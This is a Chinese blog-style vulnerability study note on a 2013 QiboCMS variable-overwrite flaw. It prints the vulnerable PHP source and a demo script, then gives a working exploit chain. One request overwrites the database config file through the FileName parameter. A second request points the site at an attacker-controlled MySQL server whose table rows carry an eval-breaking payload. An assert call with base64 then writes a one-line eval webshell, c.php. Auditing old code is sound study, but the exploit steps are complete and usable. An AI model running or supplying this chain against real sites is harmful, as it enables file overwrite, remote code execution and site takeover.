这天看一些经典的审计的例子,看到齐博cms的2013年的一个老洞,这个漏洞我感觉很经典,这里总结一下,记个笔记
这个漏洞是变量覆盖的漏洞
首先出问题的地方是fujsarticle.php,下面是是整个文件的内容:
<?php
error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");
if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){
die("类型有误");
}
$fid=intval($fid);
$aid=intval($aid);
$id=intval($id);
$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type=='like'){
$FileName.=floor($id/3000)."/";
}else{
unset($id);
}
$FileName.="{$type}_{$fid}_{$id}.php";
//默认缓存3分钟.
if(!$webdb["cache_time_$type"]){
$webdb["cache_time_$type"]=3;
}
if( (time()-filemtime($FileName))<($webdb["cache_time_$type"]*60) ){
@include($FileName);
$show=str_replace(array("\n","\r","'"),array("","","\'"),stripslashes($show));
if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐
//处理跨域问题
if($webdb[cookieDomain]){
echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";
}
echo "<SCRIPT LANGUAGE=\"JavaScript\">
parent.document.getElementById('$iframeID').innerHTML='$show';
</SCRIPT>";
}else{ //JS式会拖慢主页面打开速度,不推荐
echo "document.write('$show');";
}
exit;
}
require_once(dirname(__FILE__)."/global.php");
//默认缓存3分钟.
if(!$webdb["cache_time_$type"]){
$webdb["cache_time_$type"]=3;
}
$rows>0 || $rows=7;
$leng>0 || $leng=60;
unset($SQL,$show);
//热门文章,推荐文章,最新文章
if($type=='hot'||$type=='com'||$type=='new'||$type=='lastview'||$type=='like'||$type=='pic')
{
$erp=$Fid_db[iftable][$fid];
if($fid)
{
$f_id=get_fid($fid);
$SQL=" (".implode("OR",$f_id).") ";
}
else
{
$SQL=" 1 ";
}
if($type=='com')
{
$SQL.=" AND A.levels=1 ";
$ORDER=' A.list ';
}
elseif($type=='pic')
{
$SQL.=" AND A.ispic=1 ";
$ORDER=' A.list ';
}
elseif($type=='hot')
{
$ORDER=' A.hits ';
}
elseif($type=='new')
{
$ORDER=' A.list ';
}
elseif($type=='lastview')
{
$ORDER=' A.lastview ';
}
elseif($type=='like')
{
$SQL.=" AND A.aid!='$id' ";
if(!$keyword)
{
$erp=get_id_table($id);
extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article$erp WHERE aid='$id'"));
}
if($keyword){
$detail=explode(" ",$keyword);
unset($detail2,$ids);
foreach( $detail AS $key=>$value){
$value && $detail2[]=" B.keywords='$value' ";
}
$str=implode(" OR ",$detail2);
if($str){
unset($ids);
$query = $db->query("SELECT A.aid FROM {$pre}keywordid A LEFT JOIN {$pre}keyword B ON A.id=B.id WHERE $str");
while($rs = $db->fetch_array($query)){
$ids[]=$rs[aid];
}
if($ids){
$SQL.=" AND A.aid IN (".implode(",",$ids).") ";
}else{
$SQL.=" AND 0 ";
}
}
}else{
$SQL.=" AND 0 ";
}
$ORDER=' A.list ';
}
if(!$webdb[viewNoPassArticle]){
$SQL.=' AND A.yz=1 ';
}
$SQL="A LEFT JOIN {$pre}fu_article FA ON A.aid=FA.aid WHERE $SQL GROUP BY A.aid ORDER BY $ORDER DESC LIMIT $rows";
$which='A.*';
$listdb='';
$array=list_article($SQL,$which,$leng,$erp);
foreach($array AS $key=>$r){
$listdb[$r[aid]]=$r;
}
if(is_file(ROOT_PATH."template/default/$webdb[SideTitleStyle].htm")){
$tplcode=read_file(ROOT_PATH."template/default/$webdb[SideTitleStyle].htm");
}else{
$tplcode=read_file(ROOT_PATH."template/default/side_tpl/0.htm");
}
$tplcode=addslashes($tplcode);
foreach($listdb AS $key=>$rs)
{
//$target=$rs[target]?'_blank':'_self';
$target='_blank';
if($type=='pic'){
$show.="<div class='p' style='float:left;width:130px;padding-left:5px;padding-top:5px;'> <a href='bencandy.php?fid=$rs[fid]&id=$rs[aid]' style='display:block;width:120px;height:90px;border:1px solid #ccc;' target='$target'><img style='border:2px solid #fff;' width='120' height='90' src='$rs[picurl]' border='0'></a> <A HREF='$webdb[www_url]/bencandy.php?fid=$rs[fid]&id=$rs[aid]' title='$rs[full_title]' target='$target'>$rs[title]</A> </div>";
}else{
eval("\$show.=\"$tplcode\";");
}
}
if(!$show){
$show="暂无...";
}
}
$show=stripslashes($show);
//真静态
if($webdb[NewsMakeHtml]==1||$gethtmlurl){
$show=make_html($show,$pagetype='N');
//伪静态
}elseif($webdb[NewsMakeHtml]==2){
$show=fake_html($show);
}
$show=str_replace(array("\n","\r","'"),array("","","\'"),$show);
if(!is_dir(dirname($FileName))){
makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
}
if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐
//处理跨域问题
if($webdb[cookieDomain]){
echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";
}
echo "<SCRIPT LANGUAGE=\"JavaScript\">
parent.document.getElementById('$iframeID').innerHTML='$show';
</SCRIPT>";
}else{ //JS式会拖慢主页面打开速度,不推荐
echo "document.write('$show');";
}
exit;
function get_fid($fid){
global $db,$pre;
$fid=intval($fid);
$F[]=" FA.fid=$fid ";
$query = $db->query("SELECT fid FROM {$pre}fu_sort WHERE fup='$fid'");
while($rs = $db->fetch_array($query)){
$F[]=" FA.fid=$rs[fid] ";
}
return $F;
}
?>
看到39行require_once(dirname(__FILE__)."/global.php");,这里在错误的位置引入了一个错误的文件,这个文件的引入导致下面未初始化的变量可以被覆盖,而利用的是$FileName,但是大家要问了,$FileName这个变量在上面已经初始化了呀,为什么还会被覆盖呢?
因为:
global.php文件包含的另一个文件导致问题产生:../inc/common.inc.php
这个文件我只贴出出问题的那部分:
<?php
error_reporting(7);
set_magic_quotes_runtime(0);
if(function_exists('date_default_timezone_set')){date_default_timezone_set('Hongkong');}
$speed_headtime=explode(' ',microtime());
$speed_headtime=$speed_headtime[0]+$speed_headtime[1];
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
if(!ini_get('register_globals')){
@extract($_FILES,EXTR_SKIP);
}
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
define('WEB_LANG','gb2312'); //utf-8 gb2312 big5
define('ROOT_PATH', substr(dirname(__FILE__), 0, -4).'/');
define('PHP168_PATH', ROOT_PATH); //兼容旧程序
$qibosoft_Edition="V7.0Final";
ob_start(); //ob_start('ob_gzhandler');
header('Content-Type: text/html; charset='.WEB_LANG);
$page && $page = intval($page);
$id && $id = intval($id);
$aid && $aid = intval($aid);
$rid && $rid = intval($rid);
$fid && $fid = intval($fid);
$cid && $cid = intval($cid);
if(!defined('IS_ADMIN'))unset($listdb,$array,$rs);
unset($webdb,$Html_Type,$erp,$ltitle,$memberlevel,$showHtml_Type,$chdb,$fidDB,$rsdb,$ModuleDB,$city_DB,$Mdomain,$Murl,$choose_class,$foot_tpl,$head_tpl);
require(ROOT_PATH.'data/config.php');
主要的地方是:
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
我写了个小程序来验证上面那几行代码的魔力:
<?php
$aaa=1232413;
echo "进入之前:".$aaa;
echo "<br>";
//--------------------邪恶代码分割线------------------------------------
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}
//--------------------邪恶代码分割线------------------------------------
$aaa;
echo "进入之后:".$aaa;
echo "<br>";
访问:http://localhost/test.php?aaa=testtest
结果是:
进入之前:1232413进入之后:testtest
发现虽然$aaa虽然在最开始的时候初始化了,但是邪恶代码下面没有再次初始化的话就会被邪恶代码传进来的参数覆盖掉
fujsarticle.php也一样的道理,理解上面的实验程序之后,发现39行代码(require_once(dirname(__FILE__)."/global.php");)下面的$FileName没有被再次初始化,然后后面的$FileName就可以被控制,最后$FileName被传递到了174行(write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");)
这样就可以覆盖任意文件了,这里我们要覆盖的文件是:/data/mysql_config.php
访问这样的链接:http://xxxxxxx/do/fujsarticle.php?type=like&FileName=../data/mysql_config.php&submit=123 就可以把/data/mysql_config.php 覆盖为<?php $show=stripslashes(’暂无...‘); ?>
这样,网站就的数据库配置文件就被覆盖了,有漏洞的网站就会显示数据库连接错误
这个就为我们下面的利用创造了条件:
下面的被利用的文件是:/do/jf.php
下面是jf.php的内容:
<?php
require(dirname(__FILE__)."/"."global.php");
$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
$fnameDB[$rs[fid]]=$rs[name];
$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
while($rs2 = $db->fetch_array($query2)){
eval("\$rs2[title]=\"$rs2[title]\";");
eval("\$rs2[content]=\"$rs2[content]\";");
$jfDB[$rs[fid]][]=$rs2;
}
}
require(ROOT_PATH."inc/head.php");
require(html("jf"));
require(ROOT_PATH."inc/foot.php");
?>
这里在12行和13行看到,数据库把查询出的数据库直接放入eval这个函数中,
因为数据库配置文件被覆盖成无效的文件,所以邪恶代码下面的数据库配置变量,包括数据库地址,数据库用户名,数据库用户密码等都变成了未初化的变量,这些变量就能被任意覆盖,这个我们就可以让网站连接我们自己的数据库服务器,只要数据库的表:qb_jfabout包含恶意代码就可以拿到shell了
首先我们先在我们自己的数据库中创建两个表:
qb_jfabout:
id | fid | list | title | content
1 | 1 | 1 | "+$_GET[a]($_GET[b]);+" | "+$_GET[a]($_GET[b]);+"
qb_jfsort:
id | fid | name | list
1 | 1 | 1 | 1
关于eval函数有个坑:
首先观察下面的例子:
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
输出是:
This is a $string $time morning! This is a beautiful winter morning!
也就是说,字符串输出在双引号之内的,eval都会将其看成为普通的字符串,但是输出在双引号之外的就会当成代码来执行
所以我放在数据库的恶意代码是:"+$_GET[a]($_GET[b]);+" ,目的是闭合前面的双引号,然后执行代码,再闭合后面的双引号
最后我访问:
http://xxxxxxxxx/do/jf.php?dbuser=自己的数据库用户名&dbhost=自己的数据库地址&dbpw=自己的数据库密码&dbname=自己数据库创建的数据库名&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
访问之后就会在/do目录下生成一个一句话木马c.php